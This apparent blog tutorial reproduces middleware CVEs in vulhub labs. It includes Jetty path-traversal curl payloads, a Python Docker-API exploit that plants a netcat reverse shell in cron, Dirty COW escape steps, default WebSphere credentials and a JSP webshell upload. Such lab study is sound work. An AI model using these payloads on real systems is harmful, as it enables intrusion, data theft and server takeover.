服務(wù)攻防-中間件安全&CVE 復(fù)現(xiàn)&K8s&Docker&Jetty&Websphere
中間件及框架列表:
IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,F(xiàn)lask,jQuery 等。
中間件所披露的問題:
中間件安全-IIS&Apache&Tomcat&Nginx漏洞復(fù)現(xiàn)
中間件安全-Weblogic&Jenkins&GlassFish漏洞復(fù)現(xiàn)
1、中間件-K8s 安全
2、中間件-Jetty 安全
3、中間件-Docker 安全
4、中間件-WebSphere 安全
常見中間件的安全測(cè)試:
1、配置不當(dāng)-解析&弱口令
2、安全機(jī)制-特定安全漏洞
3、安全機(jī)制-弱口令爆破攻擊
4、安全應(yīng)用-框架特定安全漏洞
中間件安全測(cè)試流程:
1、判斷中間件信息-名稱&版本&三方
2、判斷中間件問題-配置不當(dāng)&公開漏洞
3、判斷中間件利用-弱口令&EXP&框架漏洞
應(yīng)用服務(wù)安全測(cè)試流程:
1、判斷服務(wù)開放情況-端口掃描&組合應(yīng)用等
2、判斷服務(wù)類型歸屬-數(shù)據(jù)庫&文件傳輸&通訊等
3、判斷服務(wù)利用方式-特定漏洞&未授權(quán)&弱口令等
中間件-K8s
介紹:kubernetes詳解
中間件-K8s:
kubernetes 簡稱 k8s,是一個(gè)由 google 開源的,用于自動(dòng)部署,擴(kuò)展和管理容器化應(yīng)用程序的開源系統(tǒng)。在 B 站內(nèi)部,k8s 在管理生產(chǎn)級(jí)容器和應(yīng)用服務(wù)部署已經(jīng)有較為廣泛和成熟的應(yīng)用。通過k8s,可跨多臺(tái)主機(jī)進(jìn)行容器編排、快速按需擴(kuò)展容器化應(yīng)用及其資源、對(duì)應(yīng)用實(shí)施狀況檢查、服務(wù)發(fā)現(xiàn)和負(fù)載均衡等。
K8s相關(guān)安全問題以及漏洞復(fù)現(xiàn)參考文章:k8s對(duì)外攻擊面總結(jié)_k8s漏洞
中間件-Jetty
介紹:
Elipse Jetty 是一個(gè)開源的 servlet 容器,它為基于 Java 的 Web 容器提供運(yùn)行環(huán)境。Jetty是一個(gè)開源的HTTP服務(wù)器和Servlet引擎,它可以為JSP和Servlet提供運(yùn)行時(shí)環(huán)境。相對(duì)于Tomcat,jetty更加輕量、更加簡易、更加靈活。
安全問題:
CVE-2021-28164-路徑信息泄露漏洞
CVE-2021-28169-雙重解碼信息泄露漏洞
CVE-2021-34429-路徑信息泄露漏洞
漏洞復(fù)現(xiàn)
CVE-2021-28164-路徑信息泄露漏洞
Jetty 版本 9.4.37 引入了有關(guān) URI 解碼的更精確的RFC3986實(shí)現(xiàn),以及一些新的合規(guī)性模式,以選擇性地允許支持某些在 Servlet 指定的 API 方法行為中可能具有模糊解釋的 URI。默認(rèn)模式允許 % 編碼。要排除以進(jìn)行 URI 規(guī)范化的字符,RFC 正確,但常見 Servlet 實(shí)現(xiàn)不假定。
默認(rèn)合規(guī)性模式允許具有包含或分段的 URI 的請(qǐng)求訪問 WEB-INF 目錄中的受保護(hù)資源。例如,請(qǐng)求可以檢索 web.xml 文件。這可能會(huì)泄露有關(guān) Web 應(yīng)用程序?qū)崿F(xiàn)的敏感信息。
%2e
%2e%2e
/context/%2e/WEB-INF/web.xml
此錯(cuò)誤已在版本 9.4.39 中修復(fù)。
靶場:vulhub
參考:CVE-2021-28164
開啟環(huán)境:
訪問:
payload:
//訪問敏感文件 Web.xml /WEB-INF/web.xml
//用于繞過限制:%2e/
curl -v "http://192.168.100.134:8080/%2e/WEB-INF/web.xml"
或使用burp抓包,發(fā)送請(qǐng)求或直接使用瀏覽器直接url請(qǐng)求
http://you-ip:8080/%2e/WEB-INF/web.xml
CVE-2021-28169雙重解碼信息泄露漏洞
介紹:
在版本 9.4.40、10.0.2、11.0.2 之前,Jetty Servlet 中的 and 類受到雙重解碼錯(cuò)誤的影響。如果開發(fā)人員手動(dòng)使用這兩個(gè)類,攻擊者可以使用它們下載 WEB-INF 目錄中的任意敏感文件。
ConcatServlet
WelcomeFilter
靶場:vulhub
參考:CVE-2021-28169 雙重解碼信息泄露漏洞
開啟環(huán)境:
訪問:
payload:
//訪問敏感文件 Web.xml。 /static?/WEB-INF/web.xml
//雙 URL 編碼以繞過限制:W
curl -v "http://your-ip:8080/static?/%2557EB-INF/web.xml"
curl -v "http://192.168.100.134:8080/static?/%2557EB-INF/web.xml"
使用瀏覽器發(fā)送url請(qǐng)求或使用burp抓包修改數(shù)據(jù)包,發(fā)送請(qǐng)求也可以
http://you-ip:8080/static?/WEB-INF/web.xml
CVE-2021-34429路徑信息泄露漏洞
介紹:
Eclipse Jetty 是一個(gè) Java Web 服務(wù)器和 Java Servlet 容器。
Jetty 9.4.40 修復(fù)了一個(gè)不明確的路徑信息泄露漏洞 CVE-2021-28164,CVE-2021-34429 是它的變體和繞過。
有 3 種類型的有效負(fù)載會(huì)泄露以下內(nèi)容:
WEB-INF/web.xml
基于 Unicode 的 URL 編碼:
/%u002e/WEB-INF/web.xml
\0
有錯(cuò)誤:.
/.%00/WEB-INF/web.xml
\0
有錯(cuò)誤:..
/a/b/..%00/WEB-INF/web.xml
該漏洞影響碼頭 9.4.37-9.4.42、10.0.1-10.0.5、11.0.1-11.0.5。
靶場:vulhub
參考:CVE-2021-34429路徑信息泄露漏洞
開啟環(huán)境:
訪問:
payload:
//訪問敏感文件 Web.xml。 /WEB-INF/web.xml
//使用有效負(fù)載繞過限制: /%u002e/WEB-INF/web.xml
curl -v "http://192.168.100.134:8080/%u002e/WEB-INF/web.xml"
或直接使用瀏覽器url請(qǐng)求或使用burp抓包,發(fā)送請(qǐng)求/%u002e/WEB-INF/web.xml
GET /%u002e/WEB-INF/web.xml HTTP/1.1
...
http://192.168.100.134:8080/%u002e/WEB-INF/web.xml
此兩種方式,以上的兩種CVE漏洞也可以利用成功。
中間件-Docker
介紹:Docker詳解
Docker 是一個(gè)開源的應(yīng)用容器引擎,讓開發(fā)者可以打包他們的應(yīng)用以及依賴包到一個(gè)可移植的鏡像中,然后發(fā)布到任何流行的 Linux或Windows操作系統(tǒng)的機(jī)器上,也可以實(shí)現(xiàn)虛擬化。容器是完全使用沙箱機(jī)制,相互之間不會(huì)有任何接口。
Docker 容器是使用沙盒機(jī)制,是單獨(dú)的系統(tǒng),理論上是很安全的,通過利用某種手段,再結(jié)合執(zhí)行 POC 或 EXP,就可以返回一個(gè)宿主機(jī)的高權(quán)限 Shell,并拿到宿主機(jī)的
root 權(quán)限,可以直接操作宿主機(jī)文件。 它從容器中逃了出來,因此我們形象的稱為Docker 逃逸漏洞。
//判斷容器
1、容器判斷:
-是否存在.dockerenv 文件
ls -alh /.dockerenv
-查詢系統(tǒng)進(jìn)程的 cgroup 信息:
cat /proc/1/cgroup
2、容器逃逸漏洞:權(quán)限提升
-由內(nèi)核漏洞引起 ——Dirty COW(CVE-2016-5195)
-由 Docker 軟件設(shè)計(jì)引起——CVE-2019-5736、CVE-2019-14271,CVE-2020-15257
-由配置不當(dāng)引起——開啟 privileged(特權(quán)模式)+宿主機(jī)目錄掛載(文件掛載)、功能
(capabilities)機(jī)制、sock 通信方式-CVE-2016-5195
//工具地址:https://github.com/gebl/dirtycow-docker-vdso
上傳到docker環(huán)境當(dāng)中
進(jìn)入目錄執(zhí)行make進(jìn)行編譯
執(zhí)行生成的可執(zhí)行文件即可
安全問題:
API 未經(jīng)授權(quán)訪問漏洞
…
漏洞復(fù)現(xiàn)
守護(hù)程序 API 未經(jīng)授權(quán)訪問漏洞
靶場:vulhub
參考:Docker守護(hù)程序 API 未經(jīng)授權(quán)訪問漏洞
開啟環(huán)境:
漏洞利用:
//exp腳本,反彈shell
import docker
client = docker.DockerClient(base_url='http://you-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 攻擊者IP 監(jiān)聽端口 -e /bin/sh' >> /tmp/etc/crontabs/rumilc" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
執(zhí)行腳本:
python docker-api.py
開啟監(jiān)聽:
nc -lvvp 8888
等待反彈即可。
中間件-WebSphere
介紹:webSphere詳解
WebSphere 是 IBM 的軟件平臺(tái)。它包含了編寫、運(yùn)行和監(jiān)視全天候的工業(yè)強(qiáng)度的隨需應(yīng)變 Web 應(yīng)用程序和跨平臺(tái)、跨產(chǎn)品解決方案所需要的整個(gè)中間件基礎(chǔ)設(shè)施,如服務(wù)器、服務(wù)和工具。WebSphere 提供了可靠、靈活和健壯的軟件。
WebSphere 是一個(gè)模塊化的平臺(tái),基于業(yè)界支持的開放標(biāo)準(zhǔn)??梢酝ㄟ^受信任和持久的接口,將現(xiàn)有資產(chǎn)插入 WebSphere,可以繼續(xù)擴(kuò)展環(huán)境。WebSphere 可以在許多平臺(tái)上運(yùn)行,包括 Intel、Linux 和 z/OS。
安全問題:
反序列化CVE-2015-7450
弱口令 &&后臺(tái)Getshell
CVE-2020-4450
…
漏洞復(fù)現(xiàn)
反序列化CVE-2015-7450
原理:
Apache Commons Collections (ACC) 3.2.1及4.0版本未能正確驗(yàn)證用戶輸入,其InvokerTransformer類在反序列化來自可疑域的數(shù)據(jù)時(shí)存在安全漏洞,這可使攻擊者在用戶輸入中附加惡意代碼并組合運(yùn)用不同類的readObject()方法,在最終類型檢查之前執(zhí)行Java函數(shù)或字節(jié)碼(包括調(diào)用Runtime.exec()執(zhí)行本地OS命令)。
復(fù)現(xiàn):
反序列化漏洞發(fā)生位置在SOAP的通信端口8880,可使用https發(fā)送XML格式數(shù)據(jù)。
//拉取環(huán)境
docker pull iscrosales/websphere7
//開啟環(huán)境
docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7
等待環(huán)境開啟后,訪問即可。如果訪問8880端口,若出現(xiàn)如下界面,則可能存在Java反序列化漏洞。
漏洞利用:
可直接使用工具,梭哈一鍵利用,RCE以及上傳等操作,輸入url即可
檢測(cè)并執(zhí)行過后:
執(zhí)行命令(RCE):
whoami,當(dāng)前路徑pwd
弱口令 &&后臺(tái)Getshell
弱口令:
在6.x至7.0版本,后臺(tái)登陸只需要輸入admin作為用戶標(biāo)識(shí),無需密碼,即可登陸后臺(tái)。
訪問9096端口服務(wù):
//登錄界面
//http://you-ip:9060/ibm/console/unsecureLogon.jsp
http://you-ip:9060/ibm/console
//默認(rèn)賬號(hào)密碼:
websphere/websphere
system/manager
//進(jìn)入后臺(tái)
http://you-ip:9060/ibm/console/login.do
弱口令:
成功進(jìn)入后臺(tái):
后臺(tái)getshell:
1、點(diǎn)擊WebSphere 企業(yè)應(yīng)用程序,點(diǎn)擊安裝
2、創(chuàng)建jsp木馬文件,壓縮成zip文件,將zip更名為war后綴的文件,進(jìn)行上傳(上傳war包,點(diǎn)擊下一步)
3、填寫上下文根,關(guān)系到你訪問的URL
4、保存訪問shell即可(回到WebSphere 企業(yè)應(yīng)用程序,選中war包啟動(dòng),訪問shell)
http://you-ip:9080/shell.jsp
http://you-ip:9080/1/shell.jsp
通過哥斯拉進(jìn)行連接,進(jìn)行g(shù)etshell即可。
操作流程如下:
1、點(diǎn)擊WebSphere 企業(yè)應(yīng)用程序,點(diǎn)擊安裝
2、創(chuàng)建jsp木馬文件,壓縮成zip文件,將zip更名為war后綴的文件,進(jìn)行上傳(上傳war包,點(diǎn)擊下一步)
上傳,點(diǎn)擊下一步:
3、一路下一步,到填寫上下根,填寫即可;填寫上下文根,關(guān)系到你訪問的URL。
等待安裝:
4、保存訪問shell即可(回到WebSphere 企業(yè)應(yīng)用程序,選中war包啟動(dòng),訪問shell)
安裝完成后,保存配置:
保存主配置后,然后回到WebSphere 企業(yè)應(yīng)用程序,選中war包啟動(dòng),訪問shell
選中,點(diǎn)擊start:
成功:
訪問shell:
http://192.168.100.134:9080/shell.jsp
http://192.168.100.134:9080/1/shell.jsp
接下來通過哥斯拉進(jìn)行連接:
成功連接:
命令執(zhí)行:
具體詳細(xì)復(fù)現(xiàn)過程可參考文章:
WebSphere漏洞復(fù)現(xiàn)
CVE-2020-4450
漏洞原理以及復(fù)現(xiàn)可參考:
WebSphere 遠(yuǎn)程代碼執(zhí)行漏洞CVE-2020-4450
CVE-2020-4450
其他中間件安全問題以及漏洞復(fù)現(xiàn)點(diǎn)擊以下鏈接即可
跳轉(zhuǎn)參考鏈接如下:
中間件安全-CVE復(fù)現(xiàn)&IIS&Apache&Tomcat&Nginx漏洞復(fù)現(xiàn)文章來源:http://www.zghlxwxcb.cn/news/detail-719891.html
中間件安全-CVE復(fù)現(xiàn)&Weblogic&Jenkins&GlassFish漏洞復(fù)現(xiàn)文章來源地址http://www.zghlxwxcb.cn/news/detail-719891.html
到了這里,關(guān)于中間件安全-CVE 復(fù)現(xiàn)&K8s&Docker&Jetty&Websphere漏洞復(fù)現(xiàn)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!